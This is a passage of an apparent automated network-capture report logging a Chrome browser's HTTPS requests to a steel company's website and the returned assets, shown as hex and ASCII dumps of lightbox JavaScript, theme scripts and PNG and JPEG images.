{},support : {
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 09 09 09 27 61 6c 74 27 20 3a 20 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 74 69 74 6c 65 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 62 72 65 61 6b 3b 0a 09 09 09 09 63 61 73 65 20 27 69 6e 6c 69 6e 65 27 20 3a 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 20 3d 20 24 28 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 27 20 2b 20 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 63 6c 61 73 73 50 72 65 66 69 78 20 2b 20 27 69 6e 6c 69 6e 65 57 72 61 70 22 3e 3c 2f 64 69 76 3e 27 29 3b 0a 09 09 09 09 09 24 6f 62 6a 65 63 74 2e 68 74 6d 6c 28 6c 69 67 68 74 63 61 73 65 2e 63 6c 6f 6e 65 4f 62 6a 65 63 74 28 24 28 6c 69 67 68 74 63 61 73 65 2e 6f 62 6a 65 63 74 44 61 74 61 2e 75 72 6c 29 29 29 3b 0a 0a 09 09 09 09 09 2f 2f 20 41 64 64 20 63 75 Data Ascii: 'alt' : lightcase.objectData.title});break;case 'inline' :$object = $('<div class="' + lightcase.settings.classPrefix + 'inlineWrap"></div>');$object.html(lightcase.cloneObject($(lightcase.objectData.url)));// Add cu
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 78 48 65 69 67 68 74 29 20 26 26 20 21 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 66 6f 72 63 65 48 65 69 67 68 74 29 20 7b 0a 09 09 09 09 09 09 09 64 69 6d 65 6e 73 69 6f 6e 73 2e 6f 62 6a 65 63 74 48 65 69 67 68 74 20 3d 20 64 69 6d 65 6e 73 69 6f 6e 73 2e 6d 61 78 48 65 69 67 68 74 3b 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 61 64 6a 75 73 74 44 69 6d 65 6e 73 69 6f 6e 73 28 24 6f 62 6a 65 63 74 2c 20 64 69 6d 65 6e 73 69 6f 6e 73 29 3b 0a 09 09 7d 2c 0a 0a 09 09 2f 2a 2a 0a 09 09 20 2a 20 41 64 6a 75 73 74 73 20 74 68 65 20 64 69 6d 65 6e 73 69 6f 6e 73 0a 09 09 20 2a 0a 09 09 20 2a 20 40 70 61 72 61 6d 09 7b 6f 62 6a 65 63 74 7d 09 24 6f 62 6a 65 63 74 0a 09 09 20 2a 20 40 70 Data Ascii: xHeight) && !lightcase.settings.forceHeight) {dimensions.objectHeight = dimensions.maxHeight;}}}lightcase.adjustDimensions($object, dimensions);},/** * Adjusts the dimensions * * @param{object}$object * @p
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 09 09 09 09 24 70 6c 61 79 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 61 72 74 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 09 24 70 61 75 73 65 2e 63 6c 69 63 6b 28 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0a 09 09 09 09 09 09 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0a 09 09 09 09 09 09 6c 69 67 68 74 63 61 73 65 2e 73 74 6f 70 54 69 6d 65 6f 75 74 28 29 3b 0a 09 09 09 09 09 7d 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 0a 09 09 09 09 2f 2f 20 45 6e 61 62 6c 65 20 73 77 69 70 69 6e 67 20 69 66 20 61 63 74 69 76 61 Data Ascii: $play.click(function (event) {event.preventDefault();lightcase.startTimeout();});$pause.click(function (event) {event.preventDefault();lightcase.stopTimeout();});}// Enable swiping if activa
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 0a 09 09 09 09 09 7d 0a 09 09 09 09 7d 0a 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 73 74 61 72 74 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 73 74 61 72 74 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 27 6f 70 61 63 69 74 79 27 5d 20 3d 20 65 6e 64 4f 70 61 63 69 74 79 3b 0a 09 09 09 09 65 6e 64 54 72 61 6e 73 69 74 69 6f 6e 5b 64 69 72 65 63 74 69 6f 6e 5d 20 3d 20 65 6e 64 4f 66 66 73 65 74 3b 0a 0a 09 09 09 09 24 6f 62 6a 65 63 74 2e 63 73 73 28 73 74 61 72 74 54 72 61 6e 73 69 74 69 6f 6e 29 2e 73 68 6f 77 28 29 3b 0a 0a 09 09 09 09 2f 2f 20 43 73 73 20 74 72 61 6e 73 69 74 Data Ascii: }}startTransition['opacity'] = startOpacity;startTransition[direction] = startOffset;endTransition['opacity'] = endOpacity;endTransition[direction] = endOffset;$object.css(startTransition).show();// Css transit
2024-10-07 11:17:03 UTC	2797	IN	Data Raw: 65 2e 61 74 74 72 28 27 61 72 69 61 2d 68 69 64 64 65 6e 27 2c 20 27 74 72 75 65 27 29 3b 0a 0a 09 09 09 24 6e 61 76 2e 63 68 69 6c 64 72 65 6e 28 29 2e 68 69 64 65 28 29 3b 0a 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 72 65 73 74 6f 72 65 53 63 72 6f 6c 6c 50 6f 73 69 74 69 6f 6e 28 29 3b 0a 09 09 09 0a 09 09 09 2f 2f 20 43 61 6c 6c 20 6f 6e 43 6c 6f 73 65 20 68 6f 6f 6b 20 66 75 6e 63 74 69 6f 6e 73 0a 09 09 09 6c 69 67 68 74 63 61 73 65 2e 63 61 6c 6c 48 6f 6f 6b 73 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 6f 6e 43 6c 6f 73 65 29 3b 0a 0a 09 09 09 73 77 69 74 63 68 20 28 6c 69 67 68 74 63 61 73 65 2e 73 65 74 74 69 6e 67 73 2e 74 72 61 6e 73 69 74 69 6f 6e 4f 75 74 29 20 7b 0a 09 09 09 09 63 61 73 65 20 27 66 61 64 65 27 20 3a 0a 09 Data Ascii: e.attr('aria-hidden', 'true');$nav.children().hide();lightcase.restoreScrollPosition();// Call onClose hook functionslightcase.callHooks(lightcase.settings.onClose);switch (lightcase.settings.transitionOut) {case 'fade' :

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49799	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	745	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 04 Jan 2024 22:28:38 GMT Accept-Ranges: bytes Content-Length: 4541 Content-Type: image/png
2024-10-07 11:17:03 UTC	4541	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 e9 00 00 00 33 08 06 00 00 00 72 92 2f aa 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 9d 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 37 37 37 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 33 3a 35 37 3a Data Ascii: PNGIHDR3r/tEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49801	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	713	OUT	GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	232	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 13 May 2019 07:49:36 GMT Accept-Ranges: bytes Content-Length: 6215 Content-Type: image/png
2024-10-07 11:17:03 UTC	6215	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 c7 00 00 00 63 08 06 00 00 00 ee 06 cb fe 00 00 00 06 62 4b 47 44 00 00 00 00 00 00 f9 43 bb 7f 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 00 07 74 49 4d 45 07 e3 05 0d 07 31 0c ac 2a c9 3d 00 00 00 19 74 45 58 74 43 6f 6d 6d 65 6e 74 00 43 72 65 61 74 65 64 20 77 69 74 68 20 47 49 4d 50 57 81 0e 17 00 00 17 af 49 44 41 54 78 da ed 5d 5f 88 24 c7 7d fe f6 72 84 3c 45 13 25 f8 29 f8 e6 12 10 71 08 ba d9 04 12 08 39 dd 8c c1 24 0e 21 37 6b b0 f2 e7 e5 7a 2c e4 c3 0f f6 ee 5a d8 41 b5 d0 37 db e1 ca 09 89 b5 b7 f8 21 f6 85 64 67 fd 12 90 82 76 2f 6f 16 31 3b a7 83 40 04 d1 8d 50 12 02 7e b8 96 71 44 02 41 19 eb 31 0f da 3c f4 6f a4 d1 dc f4 4c 55 75 d5 4c f7 cc f7 c1 61 90 7b Data Ascii: PNGIHDRcbKGDCpHYs.#.#x?vtIME1*=tEXtCommentCreated with GIMPWIDATx]_$}r<E%)q9$!7kz,ZA7!dgv/o1;@P~qDA1<oLUuLa{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49802	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	483	OUT	GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	233	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:59:05 GMT Accept-Ranges: bytes Content-Length: 13737 Content-Type: image/png
2024-10-07 11:17:03 UTC	7959	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 ae 08 06 00 00 00 73 f5 42 d9 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 16 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRsBtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
2024-10-07 11:17:03 UTC	5778	IN	Data Raw: ac 76 f4 53 6a 83 57 c4 7d fc 8c 5b 70 5f 2b 88 bc 1d fd 94 2b f6 f3 d1 cf 95 98 ab 9b a0 65 da 04 8e d8 62 f8 13 15 2e 4c be 00 ba f8 0f 79 15 68 d4 06 b5 b3 60 45 48 33 ed 05 f2 93 22 09 7f 2f 00 9c 4b fe 8e d0 fd 31 4f 72 5f 0c 5f 33 5b dc bb 12 f4 b7 0a 16 c5 93 a0 ab 99 e4 17 f4 c8 81 c9 1e 16 f7 bd 83 f7 f2 7d 8f 41 b3 f1 fd 3b c1 c2 38 2c 2c 62 6a 33 33 a4 52 29 aa ab 4b a7 ac 42 ef 5c 96 7e 61 e9 b2 03 a4 e0 2f c8 3f 45 76 0f 0c 4a a9 be db 03 5e c4 d5 3e 1e c5 df fb 42 f2 85 a5 55 58 1a f3 cd c6 04 e5 c1 80 87 05 98 45 41 41 07 45 48 37 08 fb f7 22 98 42 51 bb f7 74 24 c9 fe 3c 22 fe 9e 06 9c e8 b8 22 2a ac be f2 92 50 e3 dc bf 4f 69 d7 a6 8a 8c 69 2c 79 79 57 ff 86 09 32 28 a4 5f f2 3e ee ff 04 08 95 67 41 10 83 34 06 b6 34 7c a9 7b 46 c2 2c fd Data Ascii: vSjW}[p_++eb.Lyh`EH3"/K1Or__3[}A;8,,bj33R)KB\~a/?EvJ^>BUXEAAEH7"BQt$<""*POii,yyW2(_>gA44\|{F,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49803	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	716	OUT	GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:53:34 GMT Accept-Ranges: bytes Content-Length: 39618 Content-Type: image/jpeg
2024-10-07 11:17:03 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: fe d8 cb 8c 43 20 75 db 71 ba 53 8c 78 16 4b 52 78 f0 3a 25 e4 3c e9 8e 49 bf c2 91 90 02 74 d4 4c e5 5b 4f 3f 0b 02 47 fb 8f 8c 72 3a a1 45 a2 34 c5 00 e3 03 1a ce a8 3f 1a 1a d4 07 74 f8 50 1b 22 89 24 0e 84 e9 33 40 6c 28 04 f5 03 59 72 ee 45 4d 41 3d 2f 54 0e 2a 83 5e 80 d5 cc 52 04 2f 1c 7a 03 af ca 8d 31 3b 1a 55 27 e9 01 b2 2a ea c4 08 be 63 4b b1 26 68 d4 b5 05 62 c5 0b 62 e5 34 9f 90 58 6e a6 b6 65 cb 8e 17 70 99 cd 88 0d de 6e 7e 1a d2 85 b9 d2 94 ed f8 ae f6 9d 73 34 a3 db 69 f2 2e b9 f8 0a f4 3c 6f 19 e8 ae 42 10 13 7d cc 83 c8 ce ac c0 a0 2c 40 a9 88 ec 2e e5 dc 5e a5 be cc 4b e9 f7 0f 1f b3 5a d9 c0 fe df c2 ed a9 99 dc b2 9a 1e 07 a1 84 86 81 e3 75 26 9e c3 fe df cb c9 78 97 2f 27 80 fe 08 9a 9f f7 c8 a7 ec ad cc 6e cb db b1 9c 24 10 89 65 Data Ascii: C uqSxKRx:%<ItL[O?Gr:E4?tP"$3@l(YrEMA=/T^R/z1;U'cK&hbb4Xnepn~s4i.<oB},@.^KZu&x/'n$e
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 7f f8 83 6a 92 e6 60 00 be f2 37 c4 0f bd a4 d5 83 19 26 b1 fb 9b dd 11 7e 35 4c 86 b0 b4 07 c4 03 41 69 73 00 01 5a 0d fc eb 81 4b e3 ca cf 6b 98 43 d7 2e 34 3b d4 98 73 f1 dd fe 8b df 2a 6a 1a d2 9f 35 4a 1e 5c dc f8 8e 01 85 2e 5c e5 3f 26 7e da a4 2d 8a 36 f1 0d 56 05 e2 01 4d ca 1a b8 c3 9f 29 e0 63 b7 99 02 e1 40 b5 6d aa 92 4f b4 0e a6 0f 16 61 4b ee 27 a0 de 17 b7 e1 cb 94 48 8c b9 c4 05 40 43 1a 9f 0b fd b5 47 81 1b b8 b1 81 ae d0 90 14 af 9d cd 7b 94 b8 ae 2c 0e 2c 7b 55 a4 34 f4 b1 b8 a9 c6 c9 11 49 cd c1 7a 7e ea 02 5e d9 c5 30 af 68 ff 00 78 60 20 0a 86 d4 df b8 9f e5 06 e3 23 4f 17 82 0e a8 6d 41 56 b4 12 e2 ae 69 40 de a0 dc 1a 6f 26 71 39 0f 21 18 d5 b9 f1 a4 23 71 96 63 c5 bc 8b c8 01 a3 c2 c0 01 4c c7 c9 94 16 14 7a 88 bc bc 54 d2 9b 1d Data Ascii: j`7&~5LAisZKkC.4;s*j5J\.\?&~-6VM)c@mOaK'H@CG{,,{U4Iz~^0hx` #OmAVi@o&q9!#qcLzT
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 16 ba fc a9 39 72 9c ae 02 a8 55 8f 4c 25 12 dd 89 3d a4 2b 58 2f ad 0d f2 17 5a aa 02 eb 73 b0 a2 00 51 34 f0 ac 0a 07 ac d9 56 82 a6 eb e7 44 6b 6d a9 f2 a8 04 02 89 7e 95 76 87 95 e2 db 7d f5 c6 68 97 69 70 21 df e2 d4 66 b8 a6 b4 26 b2 54 fa 4e a8 2d f8 55 8b 5c df a9 a9 d6 84 80 7b 43 10 96 df 4d c5 11 09 fd 82 82 d9 10 a1 2b f6 d1 41 ba f5 da 80 82 21 08 56 d9 c3 a8 de b4 71 11 ac 72 14 f4 9e 2e f3 1d 2b 35 b6 4d bc 7a f9 53 98 e4 27 0e ba d2 72 8b 58 dc 7b c2 e1 37 1b 3a 51 14 c0 38 34 73 43 d4 68 7e 75 b1 0e 33 20 6f 16 b8 15 dc d6 0e 06 3c f8 b9 ee 71 0b 14 8d 2d 0f d8 1b 38 69 5b 1c 88 de a5 f2 14 f2 a5 7f 69 00 d7 49 47 8c 1b 81 e4 28 de bf 68 cf 26 b7 53 48 66 66 b4 7a 5a 47 87 8d 0b 23 2c 37 d0 cb b8 8b d6 79 71 24 9d 96 e7 70 6b b1 78 fa f2 Data Ascii: 9rUL%=+X/ZsQ4VDkm~v}hip!f&TN-U\{CM+A!Vqr.+5MzS'rX{7:Q84sCh~u3 o<q-8i[iIG(h&SHffzZG#,7yq$pkx
2024-10-07 11:17:03 UTC	7660	IN	Data Raw: e2 50 86 fb 46 f8 ea dc ec 6c 37 9a 5c 94 a6 ab 6f 1a 65 a4 58 74 a0 46 db 7f 30 b5 f6 34 f4 30 87 07 3e 44 64 6d 42 e7 92 80 57 9a e4 09 e9 a0 27 68 36 11 60 d5 23 a7 95 49 29 b0 be fb de ae ec fe df 17 a6 36 ba 55 b1 76 9f 7d eb c6 7c 6c 85 74 5a 36 dc 48 d3 e1 41 ee dc a9 03 b9 85 ec d8 3a 93 d8 48 6f 86 a6 e3 6a b7 14 26 c5 7a fe ca 18 1a db cf 64 ab 7d 56 27 6f 2a e3 38 4b 97 05 44 f0 3f 0f 1a f0 05 c1 05 d7 41 fb eb cc e4 4a 0b 93 67 5b 6a 7b 1b 11 a5 bc dd 66 85 2a ea 5b b8 51 66 10 17 03 0c 61 bf d4 90 86 b4 7a 89 3d 29 1f ee 1c d7 8c 4c 77 61 a0 6b 5e 41 91 2f 71 d2 83 9b 9e fc a9 84 71 9e 38 ed b0 1d 7f 99 c9 46 89 b8 d9 70 7e 9a 73 c5 be 69 7f 0a 6a 63 e0 c9 97 20 ba 37 c7 b0 fe 70 80 f9 11 f1 29 a2 c2 81 db 51 1c fe df 73 df da e3 7c 8f 32 39 Data Ascii: PFl7\oeXtF040>DdmBW'h6`#I)6Uv}\|ltZ6HA:Hoj&zd}V'o8KD?AJg[j{f[Qfaz=)Lwak^A/qq8Fp~sijc 7p)Qs\|29

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49805	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:03 UTC	496	OUT	GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
2024-10-07 11:17:03 UTC	269	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:03 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:57:40 GMT Accept-Ranges: bytes Content-Length: 48520 Vary: Accept-Encoding Content-Type: application/javascript
2024-10-07 11:17:03 UTC	7923	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 20 6e 61 76 69 67 61 74 69 6f 6e 28 29 7b 24 28 22 23 6d 6f 62 69 6c 65 2d 6e 61 76 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 61 2e 6d 6f 62 69 6c 65 2d 6e 61 76 2d 74 72 69 67 67 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 24 28 22 62 6f 64 79 22 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 6d 65 6e 75 2d 6f 70 65 6e 22 29 7d 29 2c 24 28 22 23 70 72 69 6d 61 72 79 2d 6e 61 76 20 6c 69 22 29 2e 6f 6e 28 22 63 6c 69 63 6b 20 74 6f 75 63 68 73 74 61 72 74 22 2c 22 2e 6e 65 78 74 2d 6d 65 6e 75 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f Data Ascii: function navigation(){$("#mobile-nav-container").on("click touchstart","a.mobile-nav-trigger",function(a){a.stopPropagation(),a.preventDefault(),$("body").toggleClass("menu-open")}),$("#primary-nav li").on("click touchstart",".next-menu",function(a){a.sto
2024-10-07 11:17:03 UTC	8000	IN	Data Raw: 5f 65 76 65 6e 74 73 3d 7b 7d 29 7d 2c 61 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 66 2c 61 7d 2c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 65 76 65 6e 74 45 6d 69 74 74 65 72 2f 45 76 65 6e 74 45 6d 69 74 74 65 72 22 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 3a 65 2e 45 76 65 6e 74 45 6d 69 74 74 65 72 3d 61 7d 2e 63 61 6c 6c 28 74 68 69 73 29 2c 66 75 6e 63 74 69 6f Data Ascii: _events={})},a.noConflict=function(){return e.EventEmitter=f,a},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return a}):"object"==typeof module&&module.exports?module.exports=a:e.EventEmitter=a}.call(this),functio
